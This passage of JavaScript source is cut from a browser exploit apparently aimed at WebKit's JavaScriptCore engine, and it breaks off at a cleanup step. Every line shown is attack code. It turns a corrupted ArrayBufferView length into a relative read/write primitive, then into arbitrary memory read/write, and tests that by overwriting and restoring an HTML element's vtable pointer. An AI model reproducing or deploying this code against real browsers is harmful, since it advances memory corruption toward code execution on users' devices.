| 47 | |
| 48 | /* Executed after deleteBubbleTree */ |
| 49 | function setupRW() { |
| 50 | /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */ |
| 51 | for (let i = 0; i < g_arr_ab_3.length; i++) { |
| 52 | if (g_arr_ab_3[i].length > 0xff) { |
| 53 | g_relative_rw = g_arr_ab_3[i]; |
| 54 | debug_log("[+] Succesfully got a relative R/W"); |
| 55 | break; |
| 56 | } |
| 57 | } |
| 58 | if (g_relative_rw === null) |
| 59 | die("[!] Failed to setup a relative R/W primitive"); |
| 60 | |
| 61 | debug_log("[+] Setting up arbitrary R/W"); |
| 62 | |
| 63 | /* Retrieving the ArrayBuffer address using the relative read */ |
| 64 | let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1; |
| 65 | let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR)); |
| 66 | |
| 67 | /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */ |
| 68 | let ab_index = g_jsview_leak.sub(ab_addr).low32(); |
| 69 | if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER) |
| 70 | g_ab_index = ab_index + LENGTH_JSVIEW; |
| 71 | else |
| 72 | g_ab_index = ab_index - LENGTH_JSVIEW; |
| 73 | |
| 74 | /* Overding the length of one JSArrayBufferView with a known value */ |
| 75 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41; |
| 76 | |
| 77 | /* Looking for the slave JSArrayBufferView */ |
| 78 | for (let i = 0; i < g_arr_ab_3.length; i++) { |
| 79 | if (g_arr_ab_3[i].length === 0x41) { |
| 80 | g_ab_slave = g_arr_ab_3[i]; |
| 81 | g_arr_ab_3 = null; |
| 82 | break; |
| 83 | } |
| 84 | } |
| 85 | if (g_ab_slave === null) |
| 86 | die("[!] Didn't found the slave JSArrayBufferView"); |
| 87 | |
| 88 | /* Extending the JSArrayBufferView length */ |
| 89 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff; |
| 90 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff; |
| 91 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff; |
| 92 | g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff; |
| 93 | |
| 94 | debug_log("[+] Testing arbitrary R/W"); |
| 95 | |
| 96 | let saved_vtable = read64(guess_htmltextarea_addr); |
| 97 | write64(guess_htmltextarea_addr, new Int64("0x4141414141414141")); |
| 98 | if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141")) |
| 99 | die("[!] Failed to setup arbitrary R/W primitive"); |
| 100 | |
| 101 | debug_log("[+] Succesfully got arbitrary R/W!"); |
| 102 | |
| 103 | /* Restore the overidden vtable pointer */ |
| 104 | write64(guess_htmltextarea_addr, saved_vtable); |
| 105 | |
| 106 | /* Cleanup memory */ |